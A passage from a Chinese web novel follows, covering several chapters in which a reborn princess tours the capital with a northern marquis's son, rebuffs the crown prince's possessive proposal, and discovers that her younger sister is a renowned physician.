他说这话的时候手忙脚乱,十分青涩,燕晚清见状忍不住勾唇笑出了声。 “小侯爷不必紧张,本郡主没有其他的意思,侯爷性情纯真,不拘小节,若是能为侯爷的朋友,定是人生一件快事。”燕晚清也不扭捏的说道。 怀玉这才松了一口气,他确实没有别的心思,只是想交个朋友,毕竟京都人生地不熟,多个朋友多条路,更何况燕晚清给他一种很特别的感觉,若是能和这样的人交朋友,对他来说百利而无一害。 “那就多谢郡主了。” 燕晚清莞尔:“和朋友还这般客气么?” 此话说完,两个人相视一笑。 气氛顿时融洽了不少,于是怀玉问出了刚刚过来就想问的问题:“这么多人围着一个院子是为何?” 燕晚清转过身看向静谧的院子,知道今日那二婶是决计不能出来了。 她也不能真的去搜了老太太的院子,将二婶抓出来。 这种事她做得出来,只是善后太麻烦了。 于是她思忖着对怀玉说道:“觉得这院子的围墙不是很好看,让下人们修葺一番。” 怀玉点点头,信以为真:“原来是这样,郡主是在监工。” “对对对。”燕晚清点头。 二人说着话,得到消息的孙氏急匆匆的往这边走,远远的看见了一男子,她眯着眼睛:“帮看看,那人有点眼熟。” 身边的婢女细细瞧着,笑道:“那是北疆的小侯爷,夫人在南山的时候见过的。” “他们是不是聊得挺开心的。”孙氏看见自家女儿都笑了。 她想着又转过身往回走,婢女疑惑:“夫人不管了吗?” 孙氏摇头:“让他们年轻人聊会儿天,先去看看宋姨娘。” 她本就不担心燕晚清会做出多么出格的事情,眼下刚好怀玉也在,她这个当娘的上前凑什么热闹,至于她那个不懂事的妯娌,喜欢在老太太屋里呆着,那就呆着吧! 等小叔子来了,她再秋后算账。 不然这些人真当她吃斋念佛多年,心也跟着慈悲为怀了?! 第三十九章 告诉她,京都人脾气都不太好 燕晚清和怀玉聊天的功夫,燕红昭便急匆匆的跑过来了,身后还跟着从歌。 她眼底有怒火,一看到燕晚清,嘴角都跟着委屈的弯了下来。 “阿姐。” 燕红昭低低的喊道。 有外人在,她不能情绪外露,让别人看镇国府的笑话。 姨娘刚刚已经跟她说了,阿姐帮她出气的事情,所以燕红昭过来看看,不能让阿姐因为这件事情,跟二房那边闹得不愉快。 燕晚清看到她的神情,便知道五妹是什么意思。 这个明年才及笄的小丫头,实在是懂事的让人心疼。 “红昭过来,见过北疆小侯爷。”燕晚清朝着燕红昭招了招手。 怀玉看见一身红衣的小丫头,直奔着自己的阿姐而去,两个少女站在银杏树下,眼神中也有些恍惚。 燕红昭这才注意到怀玉,只见他一袭蓝袍面冠如玉,与平日里见到的那些将士不太一样,文质彬彬,充满了书生气息,不由得脸颊酡红。 “红昭见过小侯爷,给小侯爷问安。” 怀玉礼貌回礼颔首:“见过五小姐。” 又闲聊了几句,怀玉看着俩姐妹好似有话要说,便提出要离开。 燕晚清诧异:“不留着吃午膳么?母亲若是知道你来了,我没把你留下,定是要跟我生气的。” 孙氏和北疆侯夫人关系很好,又因为地方原因,已经很多年没有见过面了。 这次孙氏还特意嘱咐了她,要带北疆小侯爷出去逛逛,熟悉一下京都的风土人情。 之前一直没有空,今天天气还不错,燕晚清只思索了片刻便又说道。 “待会儿用完午膳还能去后街那边看看,不知道小侯爷能否赏脸我这个新朋友。” 怀玉对于燕晚清的邀请有些受宠若惊:“那必须是得赏脸的,郡主的邀请,本侯十分期待。” “行,那就说定了,你来的时候母亲还在礼佛,现在应该是出来了,先让人带着你去吧,我和五妹还有些事情要说。”燕晚清招来从歌,冲着怀玉说道。 看着从歌领着怀玉离开,燕红昭立马松了一口气。 “阿姐,你让我办的事情,办好了。” 燕晚清点点头,她喊了人跟着燕红昭,自然是在她回来之前便得知事情办好的消息。 见到她脸上还有伤痕,知道这次收付定是耗费了她不少精力。 她有些心疼的用手捏了捏燕红昭的脸颊:“午膳的时候让厨房给你加餐,我家小姑娘真厉害。” 燕红昭被夸了,小脸一红,摸着脑袋傻笑:“还行,都是碰运气,那群人武力十分高强,如果不是我用了点兵法,只怕也是赢不了的。” 那群人早年间上过战场,又当过一段时间的草寇,刀口上舔血的日子过惯了,自然是极其凶悍的,这些年他们集结了不少老兵旧部,占山为王,燕晚清最近得到他们在京城集结选领头人的消息,才会动了让燕红昭前去的念头。 至于玉佩,则是燕晚清早年间和那群人里的其中一位,有过些渊源,她救过那人的性命,所以这枚玉佩算是那人报恩的信物。 让燕红昭带着玉佩过去,那人便会知道她的来意,自然也不会过多的难为燕红昭。 不过哪怕是这样,剩下的人也是不容小觑的,可以说燕红昭这一仗打的并不容易。 所以这也是她为什么一夜未归,临近晌午才回来的原因。 燕红昭衣服之下都是淤青,心里却是很甜,这是大姐第一次讲这么重要的事情交给她去做,这说明大姐已经开始信任她了,肯和她亲近了。 尤其是大姐刚刚还保护了她的姨娘。 燕红昭在心里暗暗发誓,以后一定要对大姐好。 一定要帮大姐把身体养好,至少养到不咳血为止。 她从怀中掏出一枚圆形的青铜,上面刻着狰狞的鬼脸:“阿姐,给。” 燕晚清见她毫无防备的拿出来,也是一愣,好在速度快,她赶紧用帕子盖上了,有些好笑的说道:“这是给你的,以后那些人就都是你的属下了。” “可这是阿姐让我去的,阿姐才应该是他们的老大。”燕红昭有些固执的说道。 燕晚清摇摇头:“阿姐并不能一心多用,那些人又那般凶悍,你看阿姐现在肩不能扛手不能提的,哪里是那些人的对手。” “这……” “他们大多数是草莽流寇,只佩服比自己厉害的,红昭你打赢了他们,就是他们的老大,这并没有什么不可的,何必非要给阿姐我呢。”燕晚清耐心的说道,她知道小姑娘的心思,只能循循善诱。 燕红昭想想是这个道理,那些人长得极丑又脾气差,若是到了大姐面前,说不定还要吓到大姐,这可不行。 于是她说道:“我是他们的老大,我让他们保护阿姐!” 燕晚清莞尔,宠溺道:“好好好,现在先回去洗个澡,擦擦药,待会儿用膳了。” “等等,阿姐给我的那枚玉佩被人拿走了。”燕红昭突然想到这个事情。 燕晚清点头,这是她意料之中的事情。 那人报了恩,自然是要把玉佩收回去的。 “没事的,快去吧。” 燕红昭点点头,回自己院子洗漱去了。 临近中午的太阳,日常的刺眼,温度也上来了不少,燕晚清觉得有些热了,再看那院门紧闭,登时没了兴趣。 她朝着从欢招了招手。 “你去帮我给二婶带几句话。” 还是要警告一番,不然真以为这里是她家了,今天敢打姨娘,明日便敢打她母亲了不成。 燕晚清眨了一下眼睛,掩盖住眼里要溢出来的戾气,单手扯开了脖颈上披风的系绳。 “告诉她,在别人家里要守规矩,手别伸的太长,这里是京都,京都的人脾气都不太好。” 从欢看着燕晚清说完就走,背影单薄却多了几分潇洒,隐约之间好似看到了当年的模样。 好多年了,自从四年前的那一晚,大小姐就像是被打断了脊梁骨,一身的傲气都被分吹散,不再出去纵马溜街,整日里在家中看书做女红,以前那个鲜衣怒马的她越发的阴沉发闷……可是从南山回来,她能明显感觉到大小姐的变化。 只是不知道这种变化是好事还是坏事…… 从欢心里没有谱,等通知完那多事的二婶,便找个机会出去告诉一下七皇子,让他心里有些准备。 大小姐是一定要嫁给七皇子的,这样她才能跟着飞黄腾达啊。 第四十章 相约出行,遇见老相好 用完午膳,燕晚清便回屋换了一件轻薄点的衣服,打算出门。 她看了一眼镜子中的自己,想了想吩咐道:“去拿一套首饰。”好歹是出门,不能这般素净。 从歌得了吩咐,连忙去去了一套石榴鸾金的收拾过来,样式好看,还不复杂。 “这是前年夫人送给小姐的生辰礼,还没有戴过呢。” 燕晚清看了一眼,也觉得不错:“那就戴这个。” 从歌便将发髻拆下来重新挽发,首饰戴好了,再看镜中人,只觉得灵气逼人,眼前一亮,平日里的苍白才红石榴色的衬托下也逐渐消散,显得整个人十分有气色。 “小姐可要再换一套衣服?那件珊瑚粉的配这套,甚是好看。”从歌建议道。 不知怎的,燕晚清今日也没有觉得麻烦,还真就让从歌帮忙换上了那套珊瑚粉的罗裙。 “小姐这样打扮实在是天仙下凡。”从歌由衷的感叹道。 从欢从外面进来,手里捧着刚灌好热汤的暖壶,赶紧拍马屁:“是啊是啊,往日小姐穿的实在是太素净了,像小姐这样的容颜,就应该穿天底下最好看的衣服。” 燕晚清勾唇笑了笑,轻轻用手拨了拨耳边的坠子:“行了,就你们俩嘴甜,待会儿一起出门便是。” 从歌和从欢相视一笑。 大户人家丫鬟出门不是那么容易的事情,如果不是陪同主子出门,那边要从管家夫人那边一层层的上报,少说也得提前两日,很是繁琐。 今日听到能一起出去,两个丫鬟都开心坏了。 燕晚清莞尔,都是年纪轻轻的小姑娘,怎么可能不喜欢出去玩呢。 主仆三人到了门口,怀玉已经在那边等候了。 当燕晚清从拐角出来的瞬间,小侯爷的眼睛就直了,脑海里只剩下一句:“人面不知何处去,桃花依旧笑春风。” 之前见燕晚清,都是寡淡的颜色,恨不得站在人群中都看不到自己。 今日难得一套珊瑚粉的罗裙,还配上了首饰,肩上披了一件滚了绒毛的披风,将平日里便倾国倾城的颜色带上了少女的灵动粉嫩,让人觉得,今日的她比平日好亲近了不少。 “让小侯爷久等了。”燕晚清上前说道。 怀玉连连摆手:“不碍事,本就应该等等的。”他侧让伸出手让燕晚清先上马车:“请。” 今日天气放暖,后街那块临近湖边,平时就是个比较热闹的小闹市,燕晚清还小的时候,最喜欢和哥哥们到这里玩。 她坐在马车上,掀开窗帘看外面,眼里都是怀念。 “好久没来了,没有想到李老头的糖水铺子还开着。”她轻轻的呢喃道。 怀玉听到声音便顺着看过去,零星几个人的铺子门口,显得有些冷情,只有一个老头站着,卖力的炒着栗子,只不过是路过的功夫,整个马车内便都是香味了。 “好久是多久?”怀玉忍不住问道。 燕晚清慢慢放下车帘,轻笑:“不多,也就三四年的光景。” 怀玉听闻微微蹙眉,这个意思是,燕晚清已经三四年没有出门了。 那么南山之行,算得上她真正意义上的出远门。 今日便是她第二次出门。 怀玉心中微微炽热,他开口道:“前面人多了,可要下来走走,路边好多吃食。” “可以的。”本就是陪同怀玉逛逛,燕晚清本人没什么意见。 怀玉扶着燕晚清从马车上下来,这一刻人世间的喧闹才真正映入了眼帘。 燕晚清恍惚间回到了当年自己在后街最高的酒楼顶上跳舞的时光,不过一瞬间,这股熟悉感就被拉长拉远了。 “小侯爷打算在京都待多久?”燕晚清突然问道。 怀玉想都没想,直接说道:“北疆那边没什么事情,所以打算再呆两个月,好好领略一下京都的风土人情。” “两个月,时间不算短,小侯爷可找到了住处?” 怀玉出来带的银两不多,所以随便租了一个院子,比不得大门大户,胜在清幽,只是距离京都有些远。 他不设防直接说出来,燕晚清听罢便说道:“若是这样,小侯爷不如吩咐人回去收拾一番,直接住在镇国公府上,如何?这样的话,也可以和母亲多多叙家常,说说北疆的事情。” 怀玉还没有开口,这边从欢便急急的开口了。 “小姐,这怕是不好吧。” 让北疆小侯爷住在府上,抬头不见低头见的,日久生情了,七皇子怎么办?! 燕晚清眼色微冷,没有搭理她。 怀玉自然也不会把一个丫鬟的话放在耳边,他思忖着燕晚清刚刚说的话,很有道理:“如果郡主不嫌麻烦的话,那就恭敬不如从命了。” “自然。”这件事情便直接定了下来。 燕晚清知道自己母亲的性子,若是知道怀玉住在偏僻小院子,定是会心疼,家中还有很多可以招待客人的厢房院子,所以小侯爷入驻无可厚非。 二人说着往前继续走,期间怀玉不停的给燕晚清买着吃食,没多久他的怀中便抱了满满一怀,两个人像是很久没有见过面的老朋友,一直说说笑笑,很是开心。 只是这副风景落在某位爷眼里就显得不是那么开心了。 太子爷坐在茶楼上品茶,目光从那女人出现一直到消失在拐角镜头,脸上的神情一直高深莫测,让身边跟随的宫人大气都不敢喘。 “那位是北疆的小侯爷?”他猛地开口。 宫人吓得心脏差点从嘴里跳出来,忙不迭的说道:“回主子,是的。” “哼。”回应他的是一声冷哼。 宫人不敢说话了,额头上都是冷汗。 某位爷顿觉这杯盏中的茶水也不是滋味了。 “她倒是有闲情雅致,陪别人逛后街。” 那些送过去的书信,就像是沉入了大海,一个字都没有回过来。 “那边的事情处理的怎么样了?”他突然开口。 宫人低着头:“死不承认。” “呵……不承认?”他将手中小巧的杯盏轻轻的放在了桌子上,起身站起来,一改之前的玩世不恭,眼里森冷阴翳:“孤倒要看看是怎样的硬骨头。” 第四十一章 你凶什么?乖乖 后街最热闹的酒肉欢场,谁也不知道这里藏着整个大渭最让人闻风丧胆的刑讯逼供的地方。 这里关押着的都是罪大恶极之人,每个人身上都背负着无数的血债,他们在这个暗无天日的地方度日如年,叫天天不应,叫地地不灵。 他们将这个地方叫做——第十八层地狱。 萧蘋风周身裹在漆黑的披风里走进来,门口带着獠牙面具的人悉数双膝跪在了地上。 他头也不回的往最里面走去,一路上经过不少牢房,那些伸出手出来求救的恶人,见到他之后,纷纷躲在了角落里,不敢吭声。 没有别的原因,只因为他是这里的掌管者,经他手里走过的犯人,无一不对他惧怕不已。 “主子,到了。”宫人尊敬的开口说道。 萧蘋风嗯了一声,不过并没有直接走进去,而是在外面的刑具台上观摩了一下,多的让人眼花缭乱,很多刑具上面还淌着鲜血,说明刚刚被人用过! 黑袍之下的手,在昏黄色的地牢里缓缓伸出,骨节分明美好的让人几乎膜拜的手,在一众刑具中,选走了一把小刀。 那宫人见状,直接浑身抖了三抖。 看来今日主子的心情确实不太好啊。 只希望里面的人能够撑得久一点,不然就直接招了,也好过被千刀万剐之后求生不能求死不得啊。 再往里走便能听见清脆的鞭打声,皮鞭抽在肉上发出来的钝感很是让人毛骨悚然。 里面的人看见萧蘋风进来,停下了手里的动作。 “还是没有招么?”他把玩着手里的小刀,刀刃在烛光的映衬下泛着森冷的光,让人不寒而栗。 “回主子,没有,这个沙弥嘴硬的很。” “沙弥?”萧蘋风看着被锁着琵琶骨挂在墙上的人,小刀在他的掌心上飞速旋转成花:“你见过脑袋上有十二个戒疤的和尚么?” 达摩祖师不过才十个,此人脑袋上竟然有整整齐齐的十二个,真是愚蠢。 “你出去吧,接下来的事情不用你了。”他眼皮子不抬朝着墙上的人走去。 很快整个房间里便只剩下了两个人。 萧蘋风缓缓将身上的黑袍脱下丢在一边的椅子上,拿着小刀走到了沙弥面前,在他的脸上比划着。 “醒了就别装了。” 沙弥睁开眼睛,双眼猩红,脸上血迹斑斑,身上的灰色袍子早就看不出之前的颜色。 他看到萧蘋风的第一眼就瞳孔震惊,随即哈哈大笑道:“竟然是你!” “是我。”萧蘋风轻启薄唇,整个人冰冷无情,他打量着面前的人,思考待会儿应该从哪里下手。 沙弥冷笑:“谁能想到宛如神祇的太子殿下竟然会是这十八层地狱的主人,只怕连皇帝老二都不知道吧。” 萧蘋风慵懒却难得耐心的回答:“不知。” “哈哈哈那你岂不是犯了欺君之罪!”沙弥觉得自己好像知道了什么不得了的事情。 萧蘋风懒懒的扫了他一眼,宛若看一个蠢货:“所以呢?” 沙弥被这一句反问,问的皱眉:“你不怕?” 萧蘋风唇角露出讥讽的笑容:“你觉得你还有命活着出去面见圣上?” 沙弥眼中依稀有光未灭:“你怎知不可能,我们的人会把消息传出去的。” “哦?你们的人。”萧蘋风轻佻上眉:“你说的是昨夜的两个黑衣人是么?都死了。” “怎么会……”沙弥愣住,不过很快他就又冷静下来:“那又如何,我们有很多人。” 萧蘋风轻叹一口气,摇了摇头:“是该说你蠢呢,还是应该说你盲目自信。”他把玩着手里的小刀:“你知道这里为什么被人叫做十八层地狱么?” 沙弥舔了舔干裂的嘴唇,没有吭声。 烛光摇曳,这间内室里安静的可怕。 那个俊美如铸的男人突然邪肆的勾唇,吐出了四个字:“因为这里……无人生还。” 话音刚落,那把小刀已然扎进了沙弥的身体里…… …… 燕晚清好久都没有玩的这般痛快了,今日吃了糖葫芦喝了酸梅汤,还去后街看了冰湖,此刻夜色降临,后街被灯光笼罩,趁着夜色走在青石板的小路上,人声鼎沸中夹杂着烤地瓜的香味。 这一刻,她觉得自己真的活在了人间。 “时间不早了,郡主应该也玩累了,该回府了。”怀玉说道。 燕晚清点点头,外面气温很低,灯光之下,她呼出了一口白色的气团。 从歌扶着她上了马车,不过怀玉却没有随行,他说自己需要回去收拾一下东西,等会儿再去镇国公府上。 燕晚清玩了一天只觉得累了,于是靠在了马车上假寐。 马车摇摇晃晃的,周边的声音越发久远,周边逐渐变得越发的静谧。 她睡了一个很沉的觉,醒过来的时候马车内漆黑一片。 “从歌?”她喊道,没有人应她。 燕晚清蹙眉又喊:“从欢?” 这下还是没有人应她。 燕晚清掀开车帘下来,马车刚好卡在一个小小巷子里面,她费了些力气将自己从缝隙中挤出来。 从歌和从欢肯定不会离开自己,车夫更加不会离开马车。 此时此刻车上只有她自己,说明她们遇到了意外,不过她却没有事情,说明对方并没有恶意,不然刚刚直接将她喊醒便是,没必要等着她睡舒服了再醒过来。 燕晚清往前走了几步,身后是喘着热气的马匹,背着光她看到了一个身形颀长的人站在前方。 “阁下这是何意?”她率先开了口。 那人听到声音慢慢转过来,黑袍之下的神色意味不明,燕晚清有些看不清楚,只觉得很熟悉。 她不怕死的往前走了几步,这个巷子实在是太黑了,她不得不扶着墙往前走。 一边走一边试探:“我的丫鬟去哪了?车夫呢?” 那人还是不回答,燕晚清心里有些微怒,她不确定对方到底是何来意之前,不想过早的暴露暗卫的存在。 “说话!”她娇喝道。 先是一阵低沉的笑声传入她的耳边,越发觉得熟悉。 燕晚清愣神的功夫,那人已经到了跟前。 她下意识抬手去挡,眨眼间自己便被摁着手臂压在了墙壁和他的胸前。 “你凶什么?乖乖。” 不可一世的声音在她耳畔响起,燕晚清的脸瞬间黑了下去。 竟然是这厮! 第四十二章 不喜欢太子妃之位,那皇后呢 墙头乌鸦展翅振飞,在天边拉长鸣叫 燕晚清经不住冷笑着看着面前的人,一而再再而三的触碰到她的底线,哪怕你是太子爷也不行。 “我的丫鬟呢?” 萧蘋风看着这张瓷白的小脸,冲着自己的时候都是充满了防备,他抿了抿唇:“你今日和北疆小侯爷玩的开心么?” “太子爷让人监视我……”燕晚清蹙眉。 黑袍之下的人看不清楚脸色,只听见冰冷的声音:“不至于。” “太子殿下有话不妨直说,今日闹得这一出到底是什么意思!”燕晚清也是有脾气的,尤其是最近脾气越来越大。 管你是谁,现在她谁都不想惯着。 “他们没事。” 燕晚清听完松了一口气,再看他整个人都在黑袍之中,只觉得压抑,双手上前,直接将他的帽子给扯了下来。 冷月之下,太子爷终于露出了自己矜贵清冷的五官,只是燕晚清却猛地皱眉。 “你受伤了?”她伸出手去摸他的脸颊,上面有一道血痕。 萧蘋风愣了一下,没有想到她会直接上手,很快原本冷凝的眉头舒展开来,声音也跟着多了几分人情味。 “没有,不是我的。” “哦。”燕晚清用力用手擦了擦,见那血痕很快消失,收回了手。 气氛一时之间有些诡异的安静。 她觉得自己被盯得有些面部要抽筋,只得低着眉眼,可太子爷却偏不,他用手挑着她小巧的下巴,强势她抬头直面自己。 “你还没有回答我刚刚的问题。” 和燕晚清在一起,他一直都用的我,而不是孤。 足以说明她对他的重要性。 燕晚清看着那双漆黑的双眸,感觉自己都要被吸进去,不由得整个人跟着冷静了下来。 “我母亲与北疆侯夫人是手帕之交,今日只是尽了地主之谊。” “可是听闻你与小侯爷有过口头上的娃娃亲。” 燕晚清听着他一字一句说出来,无奈的轻轻叹气:“多少年的事情了,我和小侯爷都没有这个意思。” “最好是。”太子爷松开了手,将人直接揽在了自己的怀中,在她的发间深深的吸了一口气。 燕晚清不乐意了:“你!” “一会儿就好,让我抱一会儿。”他的声音松懈下来变得异常的疲惫,燕晚清有些迟疑,逐渐安静下来,感受着他在耳畔的浅浅呼吸。 好半饷,她忍不住开口:“太子殿下此番举动多有不妥。” “有何不妥?”他的声音很低沉,带着一丝慵懒的沙哑,在她耳边猛地响起,燕晚清只觉得双耳发烫,便越发想要离开他的怀抱,可是某人哪里肯:“别动。” “男未婚女未嫁,有什么不妥?”他抱着娇娇入怀,心里十分惬意,不由得有些得意:“再说,你除了嫁给孤还能嫁给谁?” 那种事情都做了,她还敢存别的心思不成。 心里的念头刚升起没多久,就听见:“谁说一定要嫁给你?” 某位爷:“你再说一遍。” “你凶什么?”燕晚清被喊了一耳朵,登时挣脱开来。 某位爷立刻软下来:“哪里有凶你。” 燕晚清深呼吸一口气:“这件事情迟早要解决的,不如就现在吧。”她睁开眼睛,很认真的看向面前的男子:“我不会成亲,这辈子都不会。” “为何?”他没有觉得这个答案很匪夷所思,只是很冷静的站在这里问她为什么。 燕晚清回忆前世种种,她觉得自己身上的担子太重了,也不想去连累任何人,尤其是眼前的人还是当朝太子爷,是皇帝的亲生儿子。 她不知道未来的走向会是怎样,也没有时间和心情去处理这复杂的关系。 “我不能离开燕家。”她轻轻的开口。 这是实话。 她无法也不能离开燕家。 父兄在雁门关生死未卜,镇国府在京都风雨飘摇,她做不到将自己抽身出来。 “如果我不是这大渭的太子,你的要求我是可以接受的。”他沉默半饷,说道。 燕晚清:“……我不是这个意思。”她根本就不是这个意思! “那是什么?”太子爷重新将人抱在怀中:“你若是真的想,那给我点时间,我想想办法,入赘也不是不行。” “你说什么屁话!你是太子爷,怎可入赘?!”燕晚清仿佛听到什么天方夜谭,整个人都跟着生气起来。 这个人,是不是脑子有问题啊! 燕晚清只觉得秀才遇到兵,有理说不清:“我的意思是……我不会嫁人。” “不嫁人,那你娶我也行啊。”某位爷不以为意。 燕晚清:“……” “我打算上南山当个尼姑,明白了吗?” 萧蘋风挑眉:“你不打算负责么?大名鼎鼎的安平郡主吃完不认账,还想躲到南山当尼姑,传出去你不嫌丢人?!” 燕晚清抿了抿红唇,她只觉得头疼。 为什么一个好好的太子爷,嘴毒就算了,还是个碎嘴子。 “我不嫌丢人。”燕晚清破罐子破摔。 她有什么丢人的,外面早就传她塞北之行伤了身子,不具备生育能力,所以这些年提亲的人也越发的稀疏,到现在已经没有人再上门提亲了,这个消息想必在京都已经传遍了。 燕晚清这辈子只打算守着燕家,只要燕家人平平安安的,她就满足了。 “你倒真是不嫌丢人,你想气死人。”太子爷冷哼一声,他弯下高贵的脊梁,透着冷月之色好好的打量怀中的人儿。 “你若是答应,东宫太子妃的位置定是你的。” 燕晚清摇头:“不要。” “你必须要!”他气得用手掐住她婴儿肥的腮帮子:“……你敢去南山当尼姑,我便平了南山。” “萧蘋风!”燕晚清来了气,她双眸染上愤怒:“我说了不嫁,你听不懂人话吗?京都那么多女儿家,你为何非要盯着我一个!” 她说话的声音不大,甚至直接喊上了他的名讳。 太子爷被喊了名字也不生气,反而直接笑出声。 “你若是不喜欢太子妃,那皇后之位呢?”他突然压低声音问道,漆黑的眸子里熠熠生辉:“我没开玩笑,你喜欢什么,我便给你什么。” 燕晚清被他的话愣在了原地。 可是很快她便清醒过来。 前世将身家性命压在男人身上,最后满盘皆输,家破人亡。 这辈子她谁都不信,只信自己。 见状,她也扯开唇角,眼里都是挑衅:“当真我喜欢什么都可以?” “只要你说。” “天下。”她狮子大开口。 却见男人突然弯了弯眉眼:“好。” 第四十三章 阿姐的病,那个老爷子治不了 夜色无边,烛光摇曳,燕晚清披着毯子斜靠在贵妃榻上,眼前依稀浮现着那人自负邪肆的目光,不由得摇了摇头。 “狂妄。” 如今天下动荡不安,以大渭为首,其他六国都虎视眈眈,不管哪国动乱,牵一发而动全身,很快便能引起其他国家的注意,要想天下大一统,太难了。 她只当他是顺着台阶下了。 毕竟天下为聘这种东西,也就话本子里才有吧。 燕晚清揉着眉间,逛了一天颇为疲惫,从歌从外面打了一壶热茶进来,给她倒在杯盏中,顺势双手帮她揉了揉太阳穴。 “主子何时休息?” 燕晚清端着热茶放在唇边吹了吹:“喝了便睡。” “今日奴婢们应该是逛累了,竟然丢下主子自己睡着了,实在是有失体统。”从歌想到自己在马车上醒过来的时候,实在是有些汗颜。 “奴婢已经让从欢先去休息了,小姐不必忧心。”从歌又补充道:“北疆小侯爷也来府上了,现在该是熄灯休息了。” 燕晚清点点头,屋内又静谧了下来,许是从歌的手法太好了,也许是今日确实逛多了有些累,她很快便有了睡意。 今夜无梦,她睡的很是深沉,梦里闻见幽静的檀香,不似母亲佛堂里的味道,倒是带了一股子别致静雅的苦味,不难闻,让她异常的舒适。 清晨的时候,暗卫又送来了消息,说是林平之一家子贪赃枉法,证据确凿,圣上闻言大怒,现在整个林家都被发配边疆了。 燕晚清收到消息的时候正在练功,周身都是汗水,她用帕子擦了擦额角。 “林嫣然呢?” “现在应该刚刚出发去往苦寒之地。”红雾说道。 燕晚清思忖了一下:“找个合适的机会,救下她,送到烟花巷。” 红雾想到了林嫣然那张脸:“她确实长得很美,只是那个性子怕是不服管教。” 燕晚清下意识舔了舔虎牙,轻笑:“就是要她不服管教,这位可是我对付萧鸿深的一把利刃啊。” “另外那位夫人之前留给我们的东西可以用了,半个月内我需要你们把江南所有的富商全部接触一遍,金钱如果不充裕,后面便什么都做不了。” 红雾面色凝重:“诺!定不辱使命。” 燕晚清将烛台上的灯芯拨灭。 看着那袅袅青烟,她目光沉静:“留给我们的时间,不多了。” 眼看着南下江南的时间逐渐逼近,她的压力就越大,眼下虽然拉拢了皇后张岚依,但燕晚清依旧觉得不够稳妥。 她还需要做的更多,将整个燕家的根基扎的再深一点。 这样皇帝再想要动燕家的时候,就得好好审度一下自己有没有那个资本。 如果江南的线全部拿下,她再重走一趟塞北,半个天下的经济便都在她燕晚清的手里捏着了。 红雾已经退下,燕晚清便喊来了丫鬟们放热水,看着烟雾弥漫的卧室,她忍不住喉间发痒,剧烈咳嗽起来,吓得从歌赶紧放下瓢走过来。 只见燕晚清捂着唇身子剧烈抖动,尖锐的咳嗽出声,连续好几下,她才缓过劲。 从欢却瞳孔骤缩,惊呼一声:“小姐!” 那苍白纤弱的指缝间,粘稠猩红的血液逐渐滴落下来。 燕晚清缓缓站直身子,唇边猩红,衬托的她的脸便越发的苍白。 她努力扯开唇笑笑:“无碍。” “从欢,去喊大夫!”从歌冲着门外喊道,这次从欢听见了,她一进门便看见燕晚清吐血了,拔腿便往外跑,赶紧去找大夫了。 从歌拿着帕子帮燕晚清把手上的血液全部擦干净,眼角都是泪水:“小姐……” “哭什么。”燕晚清假装生气:“小姐我现在不是活的好好的。” “可是您咳血的频率越来越多了,已经好几天连续……”从歌忍不住说道。 燕晚清褪去了身上的衣服,走进了浴桶中,热水将她全部包裹后,她才觉得自己舒服了点,于是说道:“别慌,小从歌,都说祸害遗千年,你家小姐可没那么容易挂。” “呸呸呸!”从歌拿着瓢给她从肩头倒热水:“小姐可不兴乱说话。” …… 这回大夫是被宋姨娘和孙氏一起送出去的,燕晚清觉得屋子里不通透,便将人全部赶了出去。 自己坐在榻上,一颗接着一颗的剥着昨日带回来的糖炒栗子。 喉间还有血腥味,药因为太烫被放在了一边还没喝,整个屋子静悄悄的。 一个小脑袋在窗台那边探头探脑。 燕晚清只觉得好笑:“想进来便进来,小六你干什么呢。” 门口的燕凌珍吐吐舌头,她也不走正门,直接从窗户上翻了进来,这些日子她养白了不少,脸颊也逐渐有了肉。 只是小脸总是一本正经的,看起来像个小大人。 “吃不吃?”燕晚清将满满一盘子的栗子递过去。 燕凌珍也不扭捏,拿起一把抓在手里,便满满的开始吃。 她像个小松鼠脸颊塞得满满的,口齿不清:“阿姐的病,那个老爷子治不了。” 燕晚清没听清楚:“嗯?” 燕凌珍便又说了一遍。 这回她听清楚了:“我知道。” “阿姐知道还让他治?每日都是用一些珍贵药材吊着,一点意思没有,诊金还贼贵。”燕凌珍看到宋姨娘掏出一个荷包递给那白胡子大夫,眼睛都要瞪直了。 燕晚清勾唇轻笑:“没办法,只是不这样,大家会更担心。” 人总是要有点地方去寄托情感和希望。 大夫来来走走,每天吃点药,告诉大家她其实有在变好,这样就会让他们放心。 毕竟人都是很奇怪的。 燕凌珍好似听懂了一般,深深的叹了口气。 她从椅子上跳下来,小大人一样走到燕晚清身边,一本正经:“阿姐这几天一直在让人调查我吗?那个死人脸的小哥,整天跟在我屁股后面。” 燕晚清愣了一下:“死人脸?调查你?” 但是很快她联想到了否极。 可是红雾跟她说,否极出去找红佛手了啊,怎么会一直跟着六妹。 正想着,燕凌珍已经熟稔的拿起了燕晚清的手腕,半眯着眼睛开始号脉了。 燕晚清心中大惊:“……难道六妹你是?!” 燕凌珍摸了摸空气中不存在的胡子,高深莫测:“没有一点本事,怎么给大姐当妹妹呢?” 第四十四章 燕家人,个个绝非善类 “你是红佛手?”燕晚清不知道此刻应该如何形容自己的心情。 燕凌珍皱眉,似乎嫌弃她小题大做:“就允许阿姐是姽婳堂的堂主,不允许小六我是红佛手吗?” “你怎么……”这回燕晚清是真的惊讶到了。 她是姽婳堂堂主这件事情,就连父亲母亲都不知道,这是她重生之后将之前的一些人重新组织起来建立的组织,不过短短数月而已,燕凌珍怎么会如此清楚?! 这是她重生之后第一次觉得事情有些失控。 前世这个养在庄子里从未露面的小姑娘,今生见面就给了她这么大一个见面礼。 “阿姐,把嘴巴合上,冷空气要进去了。”燕凌珍伸出自己小小的手,轻轻的抬了一下她的下巴,将嘴巴闭合。 燕晚清抿了抿唇,她思忖了一下挤出一句话:“还有谁知道你的身份?老太太和二婶知道吗?” “自然不可能让他们知道了。”燕凌珍轻哼:“若是让他们知道了,只怕要榨干我所有的利用价值。” 后面半句话听在燕晚清耳朵里很不是滋味。 “……这些年苦了你了。” 当年小六被带走的时候她不在,等回来之后人已经被带到了庄子上了…… 燕凌珍脸上有些许不自然:“说这些做什么,阿姐身上的毒是何人所下?” “你上次就知道是毒了对么?” “那是自然。” 燕晚清无奈的勾了勾唇:“这件事情还是不告诉你比较好。” “为何?”燕凌珍坐下来,面色有些许乖张:“阿姐觉得我是个小孩子,所以不屑与我说吗?” “可是阿姐不说,那我就不给你解毒。” 燕晚清:“……”就知道这小妮子不简单。 第一眼见面,她就知道燕凌珍不是善类,但是她是长姐,知道这些年妹妹受苦了,自然是要帮忙出气的。 不过她倒是没有生气,甚至还弯了弯唇角。 “不愧是我们燕家人。”各个都非善类。 燕凌珍也跟着勾唇,眼角都是狡黠的光:“王者的队友自然也是王者,六妹可不能太拉胯,拖了阿姐的后腿。” 